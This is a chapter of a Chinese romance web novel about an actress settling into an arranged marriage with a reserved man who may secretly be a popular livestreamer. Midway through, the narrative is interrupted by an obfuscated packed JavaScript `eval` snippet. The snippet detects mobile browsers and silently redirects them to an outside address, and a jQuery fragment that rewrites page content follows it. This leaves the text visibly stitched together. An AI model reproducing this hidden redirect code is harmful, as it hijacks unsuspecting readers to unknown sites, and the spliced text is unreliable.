“…玄关灯在哪？”
贝言进门后摸了三遍也没能找到灯的开关，终是在漆黑中问了句。身后的人探手，衬衣擦过她耳尖。
“啪。”
暖光填满房间，入目是简单温柔的原木风，空间大小刚刚好，干净得看不到其他色彩。
她换好拖鞋的功夫，小纯已经从顾知宜怀里跳出去撒欢。顾知宜安顿好它转身打开厨房水龙头，“晚饭想吃什么？”
“吃过了。”
贝言没抬头，在客厅摊开她行李箱，蹲在一整面书架墙下，仰头看上面摆着的书。
深色占多、书名深奥、杂且广泛。
她托好一沓沓剧本与彩色资料，将顾知宜的书全推紧向左端，准备放上自己的书。
厨房水声停顿，她向后仰头，看到顾知宜从岛台走来，垂眸摘下手表，没说什么但接过她带的书。
只手拿稳五六本，抽出原本的书压在手心再把她的书推卡到高处，全程隔着层疏离屏障。
“需要放在一起吗？”
“也不用。”
贝言倚在他影子里清闲下来，盯了会儿想让顾知宜把书放低点，可张了张口却顿住，没发出音节——
想说的字卡在喉咙里别扭着，像是棱角太多。
她皱眉眨眼，这种卡顿感不是第一次出现。
问玄关灯时也有过。
顾知宜侧目，“你那边的。”她顺手将书推过去。
墙上的钟成了唯一规律的声源，直到贝言手机震动，点开是助理安琪发来的语音，闹着：
“贝贝手势舞营业！！录好了没有哇！急急急！速速哇！”
她按住语音：“我现在补录。”
说完没忘记找个表情包安抚助理，低着头坐在书桌后，打开手机摄像头。
光线太亮失去氛围感，她就从行李箱里翻出常备的打光灯。
一个放桌面，一个搁在柜上，最后一个支到书架第六层。
位置刚放好，头顶灯就配合着轻轻灭掉。是顾知宜。
客厅陷入漆黑地带，仅剩三束暖光拥住书桌，落下一圈昏黄光晕。
“你坐。”顾知宜冷静浸在影子里，说完垂睫审视片刻，手指轻微拨动一灯位置。
一瞬，光晕更添失真感。
贝言缓缓眯眼，顾知宜收手转身，抬着头继续整理书架。
她随口问：“你什么时候学的打光？”
对方随意答：“工作技能。”
贝言没再问，整理神色录手势舞。
跟着甜歌几遍录下来，镜头总晃动，她心烦抬头，揣手盯着某人脊背看了会儿，低头划开手机。
“叮。”
书桌上另一部手机屏幕亮起，弹出个不知由谁发来的句号。贝言掠了眼。
顾知宜回身捞起手机，沉默几秒后，他垂手瞥向这句号的发信人。
“…什么事。”
贝言淡淡坐直，递出她手机，“临时要拍视频，我没带支架。”
…
顾知宜作为一个镜头支架来说稳得过分，贝言业务能力更是没的说，于是一遍就配合得很不错。
她隔着书桌接过手机，点开视频查看效果。
顾知宜的声音随之落下，隐约透着冷淡思索感：“因为做演员所以习惯不看镜头吗？”
“会刻意忽略。”
“可以适当看镜头。”
“哪一秒。”
“二十一。”
“不好办。”
“按感觉来。”
话音刚落，贝言忽地抬起头，沉眸发出疑问：“你为什么总避开我名字——”
“你也没叫过我。”
顾知宜答得连一丝停顿也没有，平静站着垂眸看她仰起的脸，声音既稳也疏冷，“贝言。”
目光相接之下，拧眉的人是贝言。
她默然按住忽然震动的手环，一言不发盯住顾知宜，总觉得他的话好像异样锐利。
尽管它听上去分外平淡，和往常一样。
她若有所思了一秒钟，“顾知宜。”
而后往前支起下巴，那更倾近谧影里的某人，更接近他衬衣上的苦咖啡气味。
方寸光线间，尘埃拉扯浮动。
下一秒，贝言冷笑出声。
“所以你把我备注成句号，也是在刻意避开我名字？”
贝言是在他手机亮屏时瞥见的。
“贝言。”顾知宜静静垂望她，眼睫漆着光，没答却问：
“你明明和我只隔三米，有事不直接叫我名字而是发句号给我？”
音落，客厅沉入静谧，双方视线滞留在对方身上，一样的平定。
漆黑中，书桌成了唯一盈亮的小小岛屿，它被光线烘焙得升了温。
呼吸与目光渐渐错频，落点不稳，但谁都不肯退让。
忽而，有个灯被蜷起的指尖碰晃，光晕动摇。
是桌上、顾知宜手边的那一个。
“视频拍得还凑合。”贝言懒散拉开一些距离，打了个哈欠，起身要接着整理书架。
“你卧室在朝南那间。”顾知宜直起头，从她手里接过所有书，意味很清晰。
贝言再次无事可做，靠在一旁随口说：“明天再收整也不晚。”
“你睡吧，我还有个视频会议要开。”顾知宜习惯性抬腕看了眼却又背过手，从容道，“晚安。”
“行。”贝言翻出睡衣走向浴室，因困意淡淡迟钝着，应付道：“晚安顾知宜。”
说完脚步忽然一滞。
先前的卡顿别扭感…它消失了。
-
一觉睡醒，贝言脑袋发懵，摸到手机点开外卖软件，熟练得如同肌肉记忆。
各式早餐推送得让人眼花，她吃过无数遍，没有胃口。掀开被子起床，迟缓扎头发，要先去给小纯整点猫粮。
然而贝言拉开门，热面包香气扑面缠住她，晨光刺眼，厨房岛台旁坐着一猫一人，安静吃饭，几乎同频。
小纯橘色猫耳一动，抬头眨巴着溜圆眼睛向她卖萌，“喵——”
顾知宜抬眼，简短道：“早，洗漱好来吃饭。”
贝言稍微缓了两秒，这才从半开机状态记起自己已经和顾知宜联姻……已婚感第一次这么真切。
得亏还没点外卖，不然大概吃不完…。
等她洗漱完拉开椅子，顾知宜已经吃完，起身前垂眸将各式早点推向她那端，没说太多。
贝言无从下筷，最后还是先尝热布丁。
一丝柠檬香气撬开锈住的记忆。
她想起小时候某个午后，打完网球回家，吃掉了桌上无人认领的热布丁。
而顾知宜刚好从楼上下来，视线平静相撞，都轻微茫然。
她意识到这热布丁的主人是顾知宜，于是皱眉正要开口，而楼梯上的少年却先一步眨了眨眼问她——
“味道如何。”
贝言闻声抬眸，看到的却不是楼梯与楼梯上的少年，而是当下的早餐…和如今的顾知宜。
相同的问题，不同的语调。
她眼睫颤了下，“凑合。”
正在戴工牌的顾知宜轻轻顿住，贝言安静吃饭。
片刻后他走过来，站在岛台旁倾身帮桌上的小纯团起尾巴，压下一片阴影。
颈间工牌垂坠在贝言眼前。
她喝着汤默默抬眼，拧眉探手捏住他工牌，这使得正弯着腰的某人倏地一滞。
“…运营一组。”贝言照着念，“组长。”
“顾、知宜。”她轻飘飘念完，没有松开手的意思。
顾知宜浅淡应了声，被扯住工牌也平平静静，撑着桌子侧过头看她，眸底浮动雾色，“…我上班要迟到了。”
贝言注视着他眼尾淡痣，松开手，但手指弹了下他工牌。
不轻不重。
工牌旋转摇晃，随顾知宜站直抽身而被带离她眼前，苦咖啡味也变得稀薄。
随后他穿好外套离开，动作整体加快，大约真的要迟到。
而贝言慢条斯理，吃过饭后驱车前往经纪公司。
公司楼下堵着大批粉丝和媒体，见到她就激动一拥而上，安保人员立刻维持秩序，粉丝涨红着脸疯狂连拍。
贝言从人墙缝隙里接过信，照旧请客喝奶茶，简短认真地叮嘱回去时路上小心。
随后到达27层，门一打开就是许多熟悉面孔，全是娱乐圈当红流量，见她来纷纷慌乱起身：“前辈好！”
贝言简单回应，她经纪人陈可赶来挽住她胳膊将她拉走，她挑眉问，“你上班又迟到了？”
回答她的是陈可无语的肘击，紧接着问：“你那联姻对象昨晚去探班了？你俩一起回的家？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559194|171344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贝言的头一歪：“热搜爆了？”
“当然的吧！”陈可嗓门大，愤愤将平板扔给她：
#贝言顾知宜 探班#
#贝言 绯闻金主#
#顾岑优祝贺贝言杀青快乐#
热一是狗仔拍的视频：
窄巷路灯下，她走在前，身后那人安静拿着厚资料，身形高挑、步伐很稳。
明明没多近，但氛围感好得可怕，以至于评论区乐津津磕起了她和顾知宜这对联姻CP。
但也有人觉得这是她新傍上的金主，并不是顾知宜。
贝言看到这儿：“为什么觉得他才是金主？气质太好？”
陈可两眼一黑，抱臂问：“这回是承认联姻还是冷处理？”
…冷处理。贝言懒散歪头。
某人昨天也丢出过这个词，声音冷而锐。
她：“冷处理。”
-
工作结束回到家是晚上十一点，贝言打开门，一盏小灯还在亮着，像昏沉的星。
大概顾知宜忘记关灯。贝言低头换鞋。
“吃饭了吗？”
她怔了下，看到顾知宜合上电脑起身，解袖扣挽袖，声音透着哑，“…想吃什么？”
她转身放钥匙，“吃过了。”
于是顾知宜停下，沉默站立看不清脸，贝言也停住。
客厅又仅剩钟表声。
“你回来就好。”他略微闭眼，“晚安。”
他回他房间，贝言无话，而后一偏眸，注意到那已经整理好的书架。
一排排黑灰色书籍被她带来的零散彩色间隔开。…毫无规律，乱七八糟。
-
凌晨12：17分。
［您关注的@1122猫猫桃心已开播。］
安琪惊叫一声，翻身火速点进直播。
才刚开播，密密麻麻的弹幕却已经把画面挤压到没有一丝空隙，热度直斩下站内一位。
直播背景像是在卧室，看不清房间的摆设，几束色彩不同的雾光交叠出朦胧晦影。
秒针声近在咫尺，咔哒咔哒敲击耳膜。
画面没看到人，弹幕在闹。
旋即，耳机传来声响，她攥紧平板。
画面左侧走进一人，垂着头手指整理衬衣繁复腰身，安静浸没雾色光芒里，抬眸远远看了眼直播实况，漫不经心。
安琪盯着他眼尾的痣，呼吸漏了一拍。
绝对的漂亮是种嚣张，至于这嚣张是有意或无意，根本不重要。
弹幕遭到刺激，疯狂提问将画面吞噬。
：换背景了？！是新住处吗？？
：最近没播是在忙什么…可恶猫！
：突然直播是坏文明！我要直播预告啊！
屏幕里的人安然一坐转向屏幕，撑着下巴俨然优雅贵公子。
安琪很喜欢这件雪白华丽的衬衣。
样式繁复、领口与腰线严谨。
她曾去查过，价格不菲、且背后似乎有特别的镂空设计。
从后颈系链，悬坠一颗钻，大约会在脊骨正中的地方。
忽然，画面里闪过一抹微小反光。
安琪愣了愣，以为是他耳坠折到的光线，但弹幕骤然充斥起“戒指”和问号感叹号，映在他浅色瞳孔里。
他视线扫下来，“没戴错。”
言毕甚至坦然将手往镜头前递了下，素戒圈着无名指，添了丝冷淡。
弹幕瞬间炸锅，安琪也呆呆打字：和谁？之前妹听说啊？
“好～了。”他支起脸，左手指尖轻敲着下颌骨，连冷冰冰拒绝也含着漂亮笑意，“情报只有以上。”
而后探手到画面外挑挑拣拣，像是纠结今晚要玩什么。
指尖一顿，他语气轻巧，“啊这个。”
一条深红缎带被他手腕扯进屏幕里，缎带很长，就耐起性子捋顺，像只被毛线缠住的不爽猫猫。
“好烦。”他不经意露出冷淡一面，又慢条斯理坐直，压睫抬眼，犹如温柔命令：
“只看着我。”
…
夜里，床头的手机屏亮起幽光，一条条消息刷屏，赫然是：
安琪：「啊贝贝！我喜欢的主播突然结婚了！？！」
安琪：「铜铃眼睛.jpg」
安琪：「＊直播地址链接」